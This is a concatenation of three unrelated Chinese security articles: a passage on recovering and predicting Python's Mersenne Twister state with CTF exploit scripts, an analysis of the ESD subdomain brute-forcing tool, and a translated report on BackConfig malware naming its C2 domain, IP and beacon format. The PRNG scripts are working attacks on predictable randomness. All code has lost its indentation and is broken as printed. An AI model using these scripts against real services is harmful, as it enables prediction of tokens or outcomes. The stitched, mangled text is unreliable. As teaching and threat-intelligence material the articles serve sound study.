4. 10101110111101011001001001011111 // y
5. 01010111011110101100100100101111 // next = y >>> 1
6. 11001110011100100111100111110000 // next ^= 0x9908b0df
0x9908b0df => 10011001000010001011000011011111
7. 00100100001101101101100110111001 // next ^= state[i + 397]
我们知道生成新的state[i]只与原来的state[i],state[i+1],state[i+397]有关。第7步是必须进行的一步(异或的次序不影响结果，所以异或state[i+397]可以看成最后一步),第6步是根据第4步结果的奇偶性确定的,不一定有第6步,但是因为第7步是第5步或者第6步异或state[i+397]的结果,我们可以考察新生成的state[i]异或state[i+397]的结果，来判断是否进行了第六步的操作。
由于0x9908b0df =>
10011001000010001011000011011111,而第5步的最高位必定是0,但是如果执行了第6步那么执行后的结果首位则会变成1,于是我们可以根据第7步逆向出的结果的首位判断是否进行了第6步.进而推出第5步,第5步的后31位包含了state[i]的第1位和state[i+1]的第2位至第31位,根据第6步是否进行可以得到state[i+1]的最后1位,所以根据现在的state[i]和以前的state[i+397],可以获得原来state[i]的1位信息和state[i+1]的31位信息,要获得state[i]剩下的31位信息,需要对现在的state[i-1]进行同样的运算.当需要计算第一位state时,剩下的state都已经恢复了,可以利用恢复了的最后一位state获得还未恢复的state[0]的后31位,非常巧妙!
实现代码如下：
def backtrace(cur):
high = 0x80000000
low = 0x7fffffff
mask = 0x9908b0df
state = cur
for i in range(623,-1,-1):
tmp = state[i]^state[(i+397)%624]
# recover Y,tmp = Y
if tmp & high == high:
tmp ^= mask
tmp <<= 1
tmp |= 1
else:
tmp <<=1
# recover highest bit
res = tmp&high
# recover other 31 bits,when i =0,it just use the method again it so beautiful!!!!
tmp = state[i-1]^state[(i+396)%624]
# recover Y,tmp = Y
if tmp & high == high:
tmp ^= mask
tmp <<= 1
tmp |= 1
else:
tmp <<=1
res |= (tmp)&low
state[i] = res
return state
### 2020 V&N 招新赛 Backtrace
# !/usr/bin/env/python3
import random
flag = "flag{" + ''.join(str(random.getrandbits(32)) for _ in range(4)) + "}"
with open('output.txt', 'w') as f:
for i in range(1000):
f.write(str(random.getrandbits(32)) + "n")
print(flag)
题目信息很简练，我们需要恢复前四个随机数。我们需要连续的624个随机数才能获得上一组随机数的状态，这里只有1000个随机数，但是之后前4位丢失，而前4位产生的新状态对应第624，625，626，627位随机数的状态，而他们的状态是可逆的。所以不需要完整的连续624个随机数，也可以求解完整的state。代码如下：
#!/usr/bin/python3
from random import Random
# right shift inverse
def inverse_right(res,shift,bits=32):
tmp = res
for i in range(bits//shift):
tmp = res ^ tmp >> shift
return tmp
# right shift with mask inverse
def inverse_right_values(res,shift,mask,bits=32):
tmp = res
for i in range(bits//shift):
tmp = res ^ tmp>>shift & mask
return tmp
# left shift inverse
def inverse_left(res,shift,bits=32):
tmp = res
for i in range(bits//shift):
tmp = res ^ tmp << shift
return tmp
# left shift with mask inverse
def inverse_left_values(res,shift,mask,bits=32):
tmp = res
for i in range(bits//shift):
tmp = res ^ tmp << shift & mask
return tmp
def backtrace(cur):
high = 0x80000000
low = 0x7fffffff
mask = 0x9908b0df
state = cur
for i in range(3,-1,-1):
tmp = state[i+624]^state[i+397]
# recover Y,tmp = Y
if tmp & high == high:
tmp ^= mask
tmp <<= 1
tmp |= 1
else:
tmp <<=1
# recover highest bit
res = tmp&high
# recover other 31 bits,when i =0,it just use the method again it so beautiful!!!!
tmp = state[i-1+624]^state[i+396]
# recover Y,tmp = Y
if tmp & high == high:
tmp ^= mask
tmp <<= 1
tmp |= 1
else:
tmp <<=1
res |= (tmp)&low
state[i] = res
return state
def recover_state(out):
state = []
for i in out:
i = inverse_right(i,18)
i = inverse_left_values(i,15,0xefc60000)
i = inverse_left_values(i,7,0x9d2c5680)
i = inverse_right(i,11)
state.append(i)
return state
f = open("output.txt","r").readlines()
c = []
for i in range(1000):
c.append(int(f[i].strip()))
partS = recover_state(c)
state = backtrace([0]*4+partS)[:624]
# print(state)
prng = Random()
prng.setstate((3,tuple(state+[0]),None))
flag = "flag{" + ''.join(str(prng.getrandbits(32)) for _ in range(4)) + "}"
print(flag)
## 题型4 逆向init
其实这一部分还没有出现过类似的题目，这里就我的理解，简单的叙述一下。
前文分别叙述了，根据输出逆向对应的state，以及根据输出逆向上一组的state。此部分则是根据第一次的state，逆向seed。
首先看一下，init函数
def _int32(x):
return int(0xFFFFFFFF & x)
def init(seed):
mt = [0] * 624
mt[0] = seed
for i in range(1, 624):
mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) + i)
return mt
定位到关键函数`mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) +
i)`，可以发现其中的`(mt[i - 1] ^ mt[i - 1] >>
30)`是可逆的(详见题型1)，注意到`_int32`其实相当于取低32位，相当于mod 2^32。而`gcd(1812433253,2**32) ==
1`于是`1812433253`存在逆元。那么逆向的过程其实就是模逆操作再组合上题型1的操作，便可以得到seed。代码如下：
from gmpy2 import invert
def _int32(x):
return int(0xFFFFFFFF & x)
def init(seed):
mt = [0] * 624
mt[0] = seed
for i in range(1, 624):
mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) + i)
return mt
seed = 2080737669
def invert_right(res,shift):
tmp = res
for i in range(32//shift):
res = tmp^res>>shift
return _int32(res)
def recover(last):
n = 1<<32
inv = invert(1812433253,n)
for i in range(623,0,-1):
last = ((last-i)*inv)%n
last = invert_right(last,30)
return last
state = init(seed)
print(recover(state[-1]) == seed)
## 扩展题型
在题型2中我们采用的黑盒测试的方法，找到了状态和输出的转移矩阵T。这是因为每个状态的二进制位与其输出的随机数的二进制位，存在线性关系。而每次twist后新生成的状态都是前一组状态的线性组合，也就是说任意一组状态都是第一组状态的线性组合。那么由任意一组状态生成的伪随机数的二进制位和第一组状态的二进制位存在线性关系。
不妨设 初始状态的二进制形式为：
设19968个伪随机数的MSB
(注意这里不要求一定是MSB，可以是随机数的任意二进制位，也不一定要求是19968个随机数，只要能构成19968个二进制位即可)构成的向量为：
于是有在GF(2)上有如下等式,其中X,Z为1 x 19968 的向量，T为19968 x 19968 的矩阵：
采用题型2中同样的方法，对T进行黑盒测试。即设置X(1,0,0,0,…0)得到Z为T的第一行，遍历所有情况得到T。最后还原出X。
### 2020 pwnhub CoinFlip2
#!/usr/bin/env -S python3 -u
import random
count = 0
while True:
print("Progress: %s/50" % count)
coin = random.getrandbits(1)
if int(input("Your guess: ")) == coin:
print("Correct!")
count += 1
if count == 50:
print(open("flag").read())
exit()
else:
print("Wrong!")
count = 0
python中的`getrandbits(1)`其实截取的是`getrandbits(32)`的最高位即`MSB`。于是我们需要收集19968个`MSB`，并构造`T`，才能还原state。需要注意的是这里构造的`T`并不是满秩的，但是sage仍然可以求解，不过求解得到的`X`的前32位，并不正确。但是我们仍然能够得到623位的state，我们可以利用题型3中的方法还原第一位state。进而利用state预测接下来的随机数。不过需要注意的是，构造矩阵`T`是相当耗费时间的，笔者在2h2g的机器上跑了大约一个多小时，才算出结果。为了读者的方便，这里直接给出矩阵的数据
[坚果云(需要注册，但速度很快访问密码 :
badmonkey)](https://www.jianguoyun.com/p/Da01v98Q8PO5CBjht5oD)
[腾讯云(密码 monkey)](https://share.weiyun.com/jt9VDr2l)
具体代码如下，可以根据需要更改：
#! /bin/bash/env python3
from sage.all import *
from random import Random
from tqdm import tqdm
prng = Random()
length = 19968
def myState():
state = [0]*624
i = 0
while i<length:
ind = i//32
expont = i%32
state[ind] = 1<<(31-expont)
s = (3,tuple(state+[0]),None)
yield s
state[ind] = 0
i += 1
def getRow():
rng = Random()
gs = myState()
for i in range(length):
s = next(gs)
rng.setstate(s)
# print(s[1][0])
row = vector(GF(2),[rng.getrandbits(1) for j in range(length)])
yield row
def buildBox():
b = matrix(GF(2),length,length)
rg = getRow()
for i in tqdm(range(length)):
b[i] = next(rg)
return b
def test():
prng = Random()
originState = prng.getstate()
# 这里都是用的MSB,如果采用不同的二进制位(如LSB)最后的矩阵T 也会不同
leak = vector(GF(2),[prng.getrandbits(1) for i in range(length)])
b = buildBox()
f = open("Matrix","w")
for i in range(b.nrows()):
for j in range(b.ncols()):
f.write(str(b[i,j])+"n")
f.close()
x = b.solve_left(leak)
x = ''.join([str(i) for i in x])
state = []
for i in range(624):
tmp = int(x[i*32:(i+1)*32],2)
state.append(tmp)
prng.setstate(originState)
prng.getrandbits(1)
originState = [x for x in prng.getstate()[1][:-1]]
print(originState[1:] == state[1:])
# print(state)
return state,b
test()
利用脚本如下：
from sage.all import *
from random import Random
from tqdm import tqdm
# 根据文件中的信息，构造矩阵
def buildMatrix():
length = 19968
cnt = 0
m = matrix(GF(2), length, length)
for line in tqdm(open("Matrix", "r")):
row = cnt // 19968
col = cnt % 19968
m[row, col] = int(line.strip('n'))
cnt += 1
return m
m = buildMatrix()
# X = Z*(T^-1)
def recoverState(leak):
x = m.solve_left(leak)
x = ''.join([str(i) for i in x])
state = []
for i in range(624):
tmp = int(x[i * 32:(i + 1) * 32], 2)
state.append(tmp)
return state
# 根据题型2,还原state,有两种可能,这时候可以用暴破
def backfirst(state):
high = 0x80000000
low = 0x7fffffff
mask = 0x9908b0df
tmp = state[623] ^ state[396]
if tmp & high == high:
tmp ^= mask
tmp <<= 1
tmp |= 1
else:
tmp <<= 1
return (1 << 32 - 1) | tmp & low, tmp & low
def pwn(leak):
state = recoverState(leak)
L = [leak[i] for i in range(100)]
prng = Random()
guess1, guess2 = backfirst(state)
print(guess1, guess2)
state[0] = guess1
s = state
prng.setstate((3, tuple(s + [0]), None))
g1 = [prng.getrandbits(1) for i in range(100)]
if g1 == L:
print("first")
prng.setstate((3, tuple(s + [0]), None))
return prng
state[0] = guess2
s = state
prng.setstate((3, tuple(s + [0]), None))
g2 = [prng.getrandbits(1) for i in range(100)]
if g2 == L:
print("second")
prng.setstate((3, tuple(s + [0]), None))
return prng
def test():
length = 19968
prng = Random()
originState = prng.getstate()
leak = vector(GF(2), [prng.getrandbits(1) for i in range(length)])
# 恢复state
state = recoverState(leak)
prng.setstate(originState)
prng.getrandbits(1)
originState = [x for x in prng.getstate()[1][:-1]]
# 成功恢复623个state
print(originState[1:] == state[1:])
# 获取泄露信息
L = [leak[i] for i in range(100)]
# 两种可能
guess1, guess2 = backfirst(state)
print(guess1, guess2)
state[0] = guess1
s = state
prng.setstate((3, tuple(s + [0]), None))
g1 = [prng.getrandbits(1) for i in range(100)]
if g1 == L:
print("first")
prng.setstate((3, tuple(s + [0]), None))
now = vector(GF(2), [prng.getrandbits(1) for i in range(length)])
if now == leak:
print("true")
return
state[0] = guess2
s = state
prng.setstate((3, tuple(s + [0]), None))
g2 = [prng.getrandbits(1) for i in range(100)]
if g2 == L:
print("second")
prng.setstate((3, tuple(s + [0]), None))
now = vector(GF(2), [prng.getrandbits(1) for i in range(length)])
if now == leak:
print("true")
return
test()
大概需要6-7分钟可以构建完矩阵。
## 结语
本人水平有限，如有错误欢迎指出，希望大家能从中学到一些东西。 | 社区文章 |
# 脚本小子修养之ESD源码分析(二)
章节:
[脚本小子修养之开发分布式扫描工具(一)](https://xz.aliyun.com/t/9296)
## 0x0 前言
关于Celery实现分布式的Online目录扫描已经初步实现了，在使用的过程中，我明白了一个道理：理想很美好，现实很骨感，要想快速挖到洞，神器需在手，开发知识少不了!
不过我也试着安慰自己，说一款工具肯定要在实践中不断迭代才能变得更称手，自己虽然写代码能力很弱鸡，但是多写写多磨磨应该也是可以进步的。
## 0x1 背景
自己开发的时候非常依赖requests库，为了提高执行速度，会通过使用多线程、协程的方式来进行加速，但是就速度而言，感觉还是差那么一丢丢。后来，知道Python3.4内置了asyncio,异步的编程方式进入我的视线，但是碍于自己弱鸡的学习能力和异步的编程风格不同于多线程，故没去尝试实践，现在因为挖洞需要只能硬着头皮去实践了，后发现自己写的不伦不类，很多东西没考虑进去，如下:
> 程序是怎么组织的，如何控制具体的速率、如何显示进度、如何处理常见异常，如何做一些结果的实时保存等。
所谓他山之玉可以攻石，[esd](https://github.com/FeeiCN/ESD)作为一款优秀的异步子域名枚举工具其优秀的性能，惊艳了我，让我迫不急待学习一番。
## 0x2 源码结构
1.0版本的源码地址:<https://github.com/FeeiCN/ESD/archive/refs/tags/v1.0.zip>
:tree -L 2
├── ESD.py # 核心代码
├── LICENSE
├── README.md #介绍
├── data # 存放扫描结果
├── requirements.txt #依赖
├── servers.esd #DNS服务器IP
├── subs.esd # 子域名字典规则
├── targets.txt
└── tests # 测试目录
└── test_esd.py #测试脚本
可以看到源码结构是较为简单的，而且核心代码仅200多行，很难想到这是一款强大的工具，但恰恰因此，其学习价值非常高。
develop版源码:
git clone https://github.com/FeeiCN/ESD.git
cd ESD
├── ESD
│ ├── __init__.py # 核心代码
│ ├── cacert.pem # https证书
│ ├── key.ini # 第三方API KEY
│ ├── subs-test.esd # 测试子域名列表
│ └── subs.esd # 子域名字典
├── LICENSE
├── README.md
├── setup.py # 安装脚本
└── tests # 测试目录
└── test_esd.py # 测试脚本
ESD作为Python3包的结构:
├── __init__.py # main函数所在
├── argparser.py # 解析参数
├── banner.py # 打印banner
├── cacert.pem
├── engine.py # 入口run函数
├── key.ini
├── lib # 功能函数
│ ├── __init__.py
│ ├── __pycache__
│ ├── basePackage
│ ├── caInfo.py
│ ├── dnsPod.py
│ ├── dnsQuery.py
│ ├── dnsSec.py
│ ├── dnsTransfer.py
│ ├── logger.py
│ ├── searchEngine.py
│ └── thirdpartApi.py
├── subs-test.esd
└── subs.esd # 字典文件
相比于1.0版本，开发版增加了许多功能，代码量也达到了上K行。
## 0x3 分析1.0版本源码
采取的分析方式，还是以一个完整执行流程作为例子。
### 0x3.1 测试脚本
可以看到首先从`ESD`引入`EnumSubdomain`函数作为所有的入口，很简洁。
然后分别调用`load_sub_domain_dict`和`generate_general_dicts`函数进行默认字典加载和规则字典加载。
### 0x3.2 入口分析
关于入口，可以参考工具的文档，命令行的调用:
# 安装依赖
pip install -r requirements.txt
# 扫描单个域名
python ESD.py qq.com
# 扫描多个域名（英文逗号分隔）
python ESD.py qq.com,tencent.com
# 扫描文件（文件中每行一个域名）
python ESD.py targets.txt
比较简单，支持3种模式，单域名、多域名、文件，其代码实现:
使用`sys.argv`来做参数的提取，不是特别优雅但简单，提取域名有正则检验，`r'^(([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,})$'`,然后做了判断,符合则添加到`domains`否则输出错误，这部分其实蛮多余。
>
> DNS规定，域名中的标号都由英文字母和数字组成，每一个标号不超过63个字符，也不区分大小写字母。标号中除连字符（-）外不能使用其他的标点符号。级别最低的域名写在最左边，而级别最高的域名写在最右边。由多个标号组成的完整域名总共不超过255个字符。
>
> `[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+`
解析完脚本参数之后，进行`for`循环，依次传入域名到`EnumSudDomain`类中，然后调用`run()`执行枚举。
### 0x3.3 核心代码
核心类`EnumSubDomain`,先分析初始化构造函数:
获取脚本的绝对路径，获取目标域名，解析`servers.esd`获取dns查询需要的dns服务器，然后加载进了aiodns的`DNSResolver`函数，定义了`self.general_dicts`存放字典列表，完成了类的初始化功能。
下面分析核心类定义的功能函数:
(1) 异步dns查询函数:`query`
第一步先拼接二级子域名`sub`,然后调用`self.solver.query`进行DNS的A记录查询，利用`await`关键字等待异步查询返回的结果，然后取出所有查询的host，放入`self.process`进行处理，如果dns解析失败，会获取失败的code，捕捉不常见的异常，最终返回`sub`、`ret`二元组
(2)存储结果函数: `process`
这个函数主要是将dns查询得到的IP存入到以查询子域名为键值，排序解析得到的IP组作为键值的`self.data`字典中，并记录相关日志信息。
(3)加载字典函数:
通过`with`上下文管理打开绝对路径的文件，有利用资源的利用和释放，然后`for`循环读取文件内容，通过`if`判断
跳过`#`注释的内容，如果匹配到行中存在`{letter}`或者`{number}`的标识符存在，就会传入到`self.generate_general_dicts`函数，进行规则的生成，然后合并全部结果用`set`进行去重，转化`list`返回结果。
> 大量去重的话，笔者推荐`list(dict.fromkeys([1,2,1,2]))`,这样速度会更快。
(4)根据规则生成字典函数:`generate_gengeral_dicts`
可以看到先统计了字母和数字标识符的数目，然后用`itertools.product`生成相应长度的全排列字母和数字的组合，然后通过`for`循环一次替换相应长度的标识符，最终添加到`self.general_dicts`。
> 这种方式只能处理连续的标识符，对于`{letter}{number}{letter}`则没办法支持解析。
(5)任务入口函数:`run`
可以看到先记录开始执行时间`start_time`,然后查询一个不存在子域名`enumsubdomain-feei`如果返回解析IP说明存在泛解析，程序终止运行。然后接着就是加载字典，封装异步`query`任务列表tasks,传入给`self.start`函数进行处理，然后调用`self.loop.run_until_complete`等待异步请求执行完成。接着就是定义一个时间戳错作为名称，一个域名作为名称的路径，然后遍历`self.data`的内容()(通过调用`self.query`->`self.process`->`self.data`)写入到这两个路径中，最后输出日志信息和执行时间。
> 这个异步并发有一个好处就是基本不用锁来控制结果列表的写入，因为程序还是顺序执行的，依序访问资源。
(6)处理子域名query任务列表:`start`函数
调用了`limited_concurrency_coroutines`处理`tasks`列表，然后for遍历返回的函数，`await`等待执行完成。
(7)控制并发请求数量:`limited_concurrency_coroutines`
通过`itertools`的`islice`函数默认分割10000个任务，存入`asyncio.ensure_future(c)`包装为`futures`列表，然后写了个`while`循环判断，列表是否大于0，大于0，则`yield`调用`first_to_finish`函数，通过循环任务，判断`f.done`任务执行完毕，则`remove`掉任务列表中相应的函数，然后取`next`，添加新任务到到任务列表，这样可以保持任务的数量一直<=limit=10000,其中可以看到对迭代的异常进行捕捉，防止遍历到0时`next`报错。
> 这个函数控制任务数量的方法并不是很好，代码逻辑不优雅，也不直观。
### 0x3.4 小结
这个程序执行流程就是加载目标->初始化`EnumSubDomain`类->同步函数加载字典->封装dns查询的任务列表->控制并发数量->执行->等待程序全部执行成功->输出`self.data`的结果`data`目录。
## 0x4 分析Develop版本源码
Develop的改动相比于1.0来说是比较大的，主要方面体现在功能的丰富度和泛解析的处理上。
### 0x4.1 执行流程
运行程序，查看输出，可以看到先确定目标->生成62w子域名->检测DNS服务器状态->判断是否存在泛解析->执行扫描->动态输出进度条
核心的DNS域名爆破扫描完成之后，启用一些辅助模块:CA证书查询、DNS域传输漏洞、搜索引擎，但是效果并不是很好。
### 0x4.2 源码分析
入口从`main`函数开始，使用`optparse`库来处理复杂的传参
然后接着就是一些常规化的赋值处理(代理设置，第三方引擎选用、是否开启debug模式等...)
其中在检验域名的时候还加了`tldextract.extrace(p).suffix`判断后缀是否为空，精细化了点。
最后就是遍历目标域名，依次初始化`EnumSubDomain`类对象，执行`run()`,这里可以注意传入的参数，包括了域名、返回内容过滤、dns服务器IP列表、第三方key等信息。
跟入`EnumSubDomain`的`__init__`初始化函数:
这里有几个可以关注的点，就是dns选取的时候，作者对其做了一些性能分类，比如AliDNS`223.5.5.5`就挺稳定的，然后就是创建异步事件循环,其中在代码开头设置了使用`uvloop`做代理，这进一步提升了异步的性能，而且使用非常简单，只需要在脚本的全局处使用如下一行代码:
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
接下来跟入程序真正的核心功能入口:`run`
先正常加载字典，其中`load_sub_domain_dict`函数做了些优化，适配了其他字典格式，
继续回到`run`函数，接着尝试检查dns服务器是否可用，
查询dns可不可用，其中`self.check`主要是构造socket请求，检查是否超时，如果dns可用，就会设置为DNS查询的服务器，去查询一个存在的目标子域名，返回解析的结果存起来，继续循环下一个dns服务器，比较不同的解析结果。
如果其中不同的DNS服务器返回不同的解析结果，说明目标域名做了泛解析和CDN，esd不支持对这个爆破，会直接跳过,后面直接进行rsc检查。
如果查询不到不存在的域名的解析结果，说明目标域名是非泛解析的，否则，接下来会进行DNS+RSC的爆破模式。
ESD会去尝试获取两个不存在且不相同的域名的HTML返回内容，如果没办法建立连接，则设置`self.skip_rsc=True`来跳过rsc过滤泛解析，因为rsc需要建立连接获取内容来做比较，没有连接就没有内容可以比较了。
然后进入`self.start`函数，开始执行子域名爆破，尝试跟进。
async def start(self, tasks, tasks_num):
"""
Limit the number of coroutines for reduce memory footprint
:param tasks:
:return:
"""
if self.process_bar:
for res in tqdm(self.limited_concurrency_coroutines(tasks, self.coroutine_count), bar_format="%s{l_bar}%s{bar}%s{r_bar}%s" % (Fore.YELLOW, Fore.YELLOW, Fore.YELLOW, Fore.RESET), total=tasks_num):
await res
else:
for res in self.limited_concurrency_coroutines(tasks, self.coroutine_count):
await res
和之前一样，采用限制`limited_concurrency_coroutines`并发任务数来减少内存占用,这里比较好的一点是支持进度条了，通过采用tqdm处理异步任务列表，`await`等待执行完成，来更新进度条,默认`100000`。
通过使用:
mytime python3 my_test.py
可以看到峰值的时候，内存占用也才30M左右，这个要是可以动态控制就好了(先获取可用内存的大小，然后动态分配资源来达到,但是完全动态挺难实现的，隔一段时间修改或许可以)
核心功能函数是DNS查询:`query`
其中代码有些许冗余，判断解析出的子域名IP是否为不存在的域名得到的泛解析IP为子集就行了，没必要再去做==判断，如果目标域名不存在泛解析，并且fuzz的子域名不在用户定义的子域名范围，则直接保存结果到`self.data`。
然后接下来就是调用搜索引擎、证书透明度获取到域名等，最后汇总在一起，来做RSC。
如果当前目标域名存在泛解析且没有设置`self.skip_rsc`，则会进入RSC比对。
if self.is_wildcard_domain and not self.skip_rsc:
# Response similarity comparison
total_subs = set(subs + list(subdomains) + transfer_info + ca_subdomains)
self.wildcard_subs = list(set(subs).union(total_subs))
logger.info('Enumerates {len} sub domains by DNS mode in {tcd}.'.format(len=len(self.data), tcd=str(datetime.timedelta(seconds=time_consume_dns))))
logger.info('Will continue to test the distinct({len_subs}-{len_exist})={len_remain} domains used by RSC, the speed will be affected.'.format(len_subs=len(subs), len_exist=len(self.data),
len_remain=len(self.wildcard_subs)))
self.coroutine_count = self.coroutine_count_request
self.remainder = len(self.wildcard_subs)
tasks = (self.similarity(sub) for sub in self.wildcard_subs)
self.loop.run_until_complete(self.start(tasks, len(self.wildcard_subs)))
# Distinct last domains use RSC
# Maybe misinformation
# self.distinct()
time_consume_request = int(time.time() - dns_time)
logger.info('Requests time consume {tcr}'.format(tcr=str(datetime.timedelta(seconds=time_consume_request))))
# RS(redirect/response) domains
这里面`total_subs`和`self.wildcard_subs`应该是相同的，集合是自动去重的，获取了前面多个途径拿到的子域名，然后设置`self.coroutine_count_request
= 100`控制RSC的请求频率，然后传入`self.similarity`比较相似度，传入`self.start`做频率控制(前面分析过)
下面我们主要看看RSC是怎么进行过滤的。
先简单处理然后拼接成完整的域名例如，如: sub='admin' -> admin.qq.com。
然后判断这个完整域名是否出现过在之前回显的内容中，如果在，则去掉。(这一步其实可以省略
然后就是拼接出`full_domain`用于发起http请求，定义2个情况，302跳到主域名或者自身的就跳过。
接下来就是发出请求，判断是否为跳转，是的话，则获取跳转地址，判断跳转了多少次，同时将新出现的子域名分别添加到`self.domains_rs`、`self.domains_rs_processed`列表。
接下来则是，如果域名没有HTTP服务，则直接return，跳过该域名，不处理，有的话，则提取返回的response的HTML中出现的域名，分别添加到`self.domains_rs`、`self.domains_rs_processed`列。
下面是直接比较返回的html的长度是否与之前传入的一个不存在的子域名得到的html长度相等，相等的话，则说明他们是一样的。(这个其实算一点优化，因为长度相等，说明他们确实蛮相似的)
如果不等于，则判断sub为二级还是三级，分别与随机不存在的二级域名、三级域名返回的html做相似度比较，如果相似度大于>0.8,则说明他们是相似的，直接跳过，否则则说明他们确实不同，会再与用户定义的过滤内容做比较，如果返回的HTML内容不存在用户定义的需要过滤的多个关键字，则说明该子域是一个有效的子域，写入到`self.data`字典，用于最终结果的输出。
> 其实ESD做的事情就是，目标->判断是否为泛解析然后分两种情况
>
> (1)非泛解析，直接进行DNS爆破
>
> (2)是泛解析，判断不同DNS返回的IP是否相同->相同则DNS爆破，过滤掉解析为泛解析的IP的域名。
>
> 如果返回的IP不同，则直接跳过DNS爆破流程，后面直接通过RSC来过滤出泛解析域名。
## 0x5 个人拙见
ESD V1.0版本，功能单一只DNS爆破子域名，不支持泛解析爆破，稍显美中不足。ESD
Develop则支持了多个途径去收集子域名，但我觉得真的没必要，核心只要做好
DNS爆破+RSC就可以了，完全没必要花费时间和精力去做其他的收集途径，所以我都没去看那部分的代码(因为这个内容很容易被其他工具来替代，并且会比自己写的更好)。其中的DNS爆破功能，ESD简单地使用aiodns来完成异步查询，简化了开发流程，异步的使用其实并不难，通过使用`asyncio.ensure_future`分装好异步任务到一个列表，遍历等待执行结果，执行则是通过`self.loop.run_until_complete`来启动异步任务，不过ESD控制了并发时的内存占用，但这个取值是写死的，高性能的机器或许就没办法充分利用性能。ESD同时支持进度条展示，这是挺好的，人性化设计。
而关于RSC部分的实现，正如ESD作者所说:<https://github.com/FeeiCN/ESD/wiki>
RSC的局限性还是挺大的，换句话而言就是要发送几十万的http请求，还要做相似度的比较，而且比较的结果也只能处理比较明显的泛解析类型，这个性价比其实并不高。
关于作者提到的DNS服务器优化方面，从代码上和wiki看，只能说没有很好解决这几个问题，只能说是做了一些简单的判断和优化，但是呈现的效果并没有让人很惊喜。
目前而言，子域名爆破重难点就是如何解决泛解析问题、如何解决第三方API收集的出现子域名是店铺、或者类似QQ空间那种冗余度高的子域名。
> 单独设置的子域名可以覆盖泛域名解析
我个人觉得 <http://sh3ll.me/archives/201704041222.txt>
提到的利用TTL值可以有效过滤一部分泛解析情况，而且性能客观，可纳入考虑范围。
而关于冗余度高的那种域名，我初步想法判断子域名中数字的连续长度>=4，统计出现的比例，如果占据了全部结果的>=40%,那么只随机保留5%或者3%这类型的子域名，,这个具体的数字可以多实践微调。
## 0x6 总结
本文先阐述了学习的动机和背景，然后从源码结构作为切入点，开始分析两个版本的源码的执行流程，以便更好理解ESD功能实现的逻辑，最后给出了一些自己的见解。不得不感叹，子域名爆破技术都已经发展好久了，一直以来，子域名的有效性并没有纳入重点考虑，而是更测重于速度的提升、字典的优化，以便获取到更多的结果，至于结果直接丢进扫描器慢慢挂着来跑就是了。 | 社区文章 |
**原文：[Updated BackConfig Malware Targeting Government and Military
Organizations in South Asia ](https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/ "Updated
BackConfig Malware Targeting Government and Military Organizations in South
Asia ")
译者：知道创宇404实验室翻译组**
### 摘要
Unit 42安全团队在过去4个月里观察到了Hangover组织(又名Neon, Viceroy Tiger,
MONSOON)使用的BackConfig恶意软件的活动。该组织使用鱼叉式钓鱼攻击，目标包括南亚的政府和军事组织。
BackConfig定制木马具有灵活的插件架构，用于提供各种特性的组件，包括收集系统和键盘记录信息以及上传和执行额外payload的能力。
最初，感染是通过一个武器化的Microsoft Excel
(XLS)文档发生的，该文档通过受感染的合法网站发布，url很可能是通过电子邮件共享的。这些文档使用Visual Basic for
Applications
(VBA)宏代码，如果受害者启用了这些宏代码，就会启动一个由多个组件组成的安装过程，从而导致插件加载程序payload被下载和执行。模块化的特性当然允许对单个组件进行更快的更改，而且对于攻击者来说可能更重要的是，能够阻止沙箱和动态分析系统的方式拆分恶意行为，尤其是在单独分析组件时。
我们基于WildFire的威胁预防平台可以检测到与此组织相关的活动，同时更新PAN-DB
URL过滤解决方案中的“恶意软件”类别，用于已识别恶意的或受危害的域名。
### 初始点
在搜索与特定部门和国家/地区有关的AutoFocus数据时，Unit 42团队首先看到了涉及Windows PE可执行文件(SHA256:
84e56294b260b9024917c390be21121e927f414965a7a9db7ed7603e29b0d69c)的活动。
该文件于2020年1月19日首次被发现，已经被两个组织下载——一个国家的政府部门和另一个国家的军事组织。下载的来源是
`http://212.114.52[.]148/request/httpsrequest`，`httpsrequest`文件在本地被存储为`dph.exe`。关于该恶意软件如何被传送的更多细节将在稍后描述。
在这里以及后面讨论的活动中，传送BackConfig恶意软件时在URL路径和文件名中选择术语显然是为了将其混合为良性的操作、路径和文件名。虽然拼写不同，但很容易让人相信payload与DHCP网络服务有关。
这个恶意软件的目的是允许受害者下载和执行一个可执行文件，以及下载和运行批处理文件，以便在终端系统上运行命令。
下面这个示例有一个自定义的“解密”例程，每个字符减去6。以下字符串使用此方法解密:
* linkrequest[.]live
* \Adobe\Driver\dwg\pid.txt
* \Adobe\Driver\dwg\
* \Adobe\Driver\dwg\wuaupdt.exe
该木马读取以下文件以在C2信标的URL中使用。如果该文件不存在，则可执行文件将退出，而不执行任何其他活动。`pid.txt`文件是在从武器化的Excel文档开始的早期传送和安装阶段创建的。有关此设置过程的更多信息将在稍后部分中介绍。如之前所述，这种行为使得对单个可执行payload组件的自动分析变得更加困难。
* %USERPROFILE%\Adobe\Driver\dwg\pid.txt
由于在调用HttpOpenRequestA函数时使用了INTERNET_FLAG_SECURE标志，因此C2通道使用HTTPS。信标HTTP请求如下所示：
GET /orderme/[contents of pid.txt file] HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 @/NEW
Host: linkrequest[.]live [resolving to 23.106.123[.]87]
该木马将在HTTP响应标头中查找以下字段和值：
* “Content-Type: application”
* “Content-Type: xDvsds”
* “Content-Type: Bw11eW”
如果content-type字段包含application的值，则木马将从字符串文件名和Content-Transfer-Encoding之间的HTTP响应头中提取一个文件名。它将使用此文件名在`%USERPROFILE%\Adobe\Driver\dwg\`文件夹中创建一个文件，并将HTTP响应中的数据写到该文件夹中。根据其他两种内容类型，我们认为提供的文件名将是“wuaupdt.exe”或test.bat。
如果content-type字段的值为xDvsds，则该木马将尝试使用ShellExecuteA和“open”方法执行以下文件:
%USERPROFILE%\Adobe\Driver\dwg\wuaupdt.exe
如果content-type字段的值为Bw11eW，则该木马将尝试使用ShellExecuteA和“open”方法执行以下文件：
%USERPROFILE%\Adobe\Driver\dwg\test.bat
